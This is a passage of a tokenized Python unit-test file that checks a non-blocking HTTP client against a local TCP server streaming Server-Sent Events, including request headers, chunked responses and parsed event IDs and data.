"assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "to", " ", "SSE", " ", "server", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.0", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Past", "e", "WS", "GI", "Server", "/", "0.", "5", " ", "Pyth", "on", "/", "2.7", ".9", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "21", ":", "3", "5", ":", "25", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Connect", "ion", ":", " ", "close", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "method_", "=_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "retr", "y", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "0", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "1", "\\\\", "ndata", ":", " ", "1", "\\\\", "ndata", ":", " ", "2", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "2", "\\\\", "ndata", ":", " ", "3", "\\\\", "ndata", ":", " ", "4", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "3", "\\\\", "ndata", ":", " ", "5", "\\\\", "ndata", ":", " ", "6", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "4", "\\\\", "ndata", ":", " ", "7", "\\\\", "ndata", ":", " ", "8", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "int_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", ">=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "0", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "1", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "1", "\\\\", "n2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "2", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "3", "\\\\", "n4", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Chunk", "ed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "to", " ", "server", " ", "Fan", "cy", " ", "SSE", " ", "with", " ", "chunked", " ", "transfer", " ", "encoding", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Chunk", "ed_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", 